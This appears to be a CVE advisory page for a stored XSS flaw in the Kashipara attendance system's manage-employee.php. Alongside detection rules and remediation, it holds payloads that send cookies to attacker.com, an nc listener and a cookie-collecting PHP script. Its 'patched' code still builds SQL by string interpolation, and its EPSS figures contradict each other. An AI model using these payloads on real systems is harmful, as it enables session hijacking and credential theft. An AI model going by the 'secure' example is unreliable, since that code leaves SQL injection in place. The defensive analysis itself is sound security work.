☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26158

CVE-2025-26158 Cross-Site Scripting in Kashipara
📅 PUBLISHED: 2025-02-14 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.50%
👁️
0.50% probability
12.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26158 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Kashipara Online Attendance Management System V1.0. The flaw resides in the manage-employee.php page, specifically within the department parameter. An authenticated attacker can inject arbitrary JavaScript code that is stored on the server and executed in the browsers of other users (including administrators) when they view the affected page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains significant for any organization using this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP web application. The risk is primarily to the end-user organization that deploys this software, not to downstream package consumers.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – The attack is performed over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid user account to access the manage-employee.php page.
  • User Interaction (UI): Required (R) – The victim must visit the affected page.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., stealing cookies from a different security context).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Estimated CVSS v3.1 Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability requires authentication, but the impact (stored XSS) can be severe, potentially leading to full account takeover of administrators.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS. The manage-employee.php page likely contains a form to add or edit employee records. One of the input fields is department. The application fails to properly sanitize or encode this input before storing it in the database and later rendering it on the page.

Attack Flow:

  1. An attacker with a valid user account logs into the system.
  2. The attacker navigates to manage-employee.php and submits a new employee record (or edits an existing one).
  3. In the department parameter, the attacker injects a malicious payload, such as:
    <script>alert('XSS')</script>
    
    or a more sophisticated payload to steal cookies:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. The application stores this payload in the database without sanitization.
  5. When an administrator or another user views the employee list (or the specific employee record), the stored payload is rendered in their browser.
  6. The malicious script executes in the context of the victim's session, allowing the attacker to perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison of the vulnerable code and a secure implementation.

Vulnerable Code (PHP - manage-employee.php):

<?php
// Assume $department comes from $_POST['department']
$department = $_POST['department'];
$sql = "INSERT INTO employees (name, department) VALUES ('$name', '$department')";
mysqli_query($conn, $sql);
// Later, when displaying:
echo "<td>" . $department . "</td>";
?>

Patched Code (PHP - manage-employee.php):

<?php
// Sanitize input using htmlspecialchars
$department = htmlspecialchars($_POST['department'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO employees (name, department) VALUES ('$name', '$department')";
mysqli_query($conn, $sql);
// When displaying, output is already safe
echo "<td>" . $department . "</td>";
?>

The key difference is the use of htmlspecialchars() which converts special HTML characters (like <, >, ", ', &) into their HTML entities, preventing them from being interpreted as code.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A running instance of Kashipara Online Attendance Management System V1.0.
  • A valid user account (e.g., employee role).

Steps:

  1. Log in to the application.
  2. Navigate to manage-employee.php.
  3. In the department field, enter the following payload to steal cookies:
    <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
    
  4. Submit the form.
  5. Set up a listener on your attacker machine:
    nc -lvnp 80
    
    or a simple PHP script (steal.php):
    <?php
    $cookie = $_GET['c'];
    file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
    ?>
    
  6. When an administrator views the employee list, the script executes, and the cookie is sent to your listener.

Alternative Payload (Session Hijacking):

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/steal.php?c='+document.cookie, true);
xhr.send();
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor web application logs for unusual characters in the department parameter (e.g., <script>, onerror=, javascript:).
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening (Temporary Mitigation):

  • Since no patch is available, the application should be taken offline or isolated.
  • As a temporary fix, modify the source code to sanitize the department parameter using htmlspecialchars() or strip_tags().
  • Restrict access to manage-employee.php to only trusted administrators using IP whitelisting or additional authentication.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing document.cookie in the query string.
    • Unusual Referer headers pointing to manage-employee.php.
  • File IOCs:
    • Log entries in access.log or error.log showing <script> tags in the department parameter.
    • Presence of cookies.txt or similar files on the attacker's server.
  • Behavioral IOCs:
    • Unexpected changes to employee records, especially the department field.
    • Administrator accounts performing actions without the administrator's knowledge.

Detection Engineering

YARA Rule

rule Detect_Stored_XSS_Payload_Department
{
    meta:
        description = "Detects stored XSS payloads in the department parameter of Kashipara Attendance System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26158"
    strings:
        $xss1 = /<script[^>]*>.*<\/script[^>]*>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/i
        $xss4 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Kashipara Attendance System - Department Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS attacks targeting the department parameter in manage-employee.php
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26158
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in department names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26158 Stored XSS Attempt - Department Parameter"; flow:to_server,established; content:"POST"; http_method; content:"manage-employee.php"; http_uri; content:"department="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Application: If possible, take the Kashipara Online Attendance Management System offline until a permanent fix is applied.
  2. Apply Temporary Patch: Modify the source code of manage-employee.php to sanitize the department parameter using htmlspecialchars() or strip_tags().
  3. Restrict Access: Limit access to the application to only trusted IP addresses and enforce strong authentication (e.g., multi-factor authentication).

Long-Term Actions:

  1. Vendor Contact: Attempt to contact Kashipara to request an official security patch. If no response, consider migrating to a different, actively maintained attendance management system.
  2. Code Audit: Perform a full security audit of the application to identify other potential vulnerabilities (e.g., SQL injection, other XSS vectors).
  3. Implement WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS attacks.
  4. User Training: Educate users about the risks of XSS and the importance of not clicking on suspicious links.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Online Attendance Management System"
http.html:"Kashipara" "Attendance"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26158/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.